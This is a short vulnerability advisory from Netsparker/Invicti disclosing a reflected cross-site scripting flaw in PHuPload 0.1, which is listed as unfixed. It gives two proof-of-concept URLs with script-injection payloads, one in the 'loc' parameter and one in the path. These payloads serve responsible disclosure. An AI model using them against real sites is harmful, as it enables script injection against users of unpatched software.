Reflected XSS Vulnerability in PHuPload 0.1


Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in PHuPload
Affected Software: PHuPload
Affected Versions: 0.1
Vendor Homepage:  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-018

Technical Details

Proof of Concept URL for XSS vulnerability in PHuPload 0.1;

URL: /PHuPload-0.1/index.php?op=upload&loc=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000060)%3C/scRipt%3E
Parameter Name: loc
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000060)</scRipt>

URL: /PHuPload-0.1/index.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0000C2)%3C/scRipt%3E
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x0000C2)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

28 Mar 2017 – Advisory released


No solution is available at the time of publishing this advisory.

Credits & Authors

This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.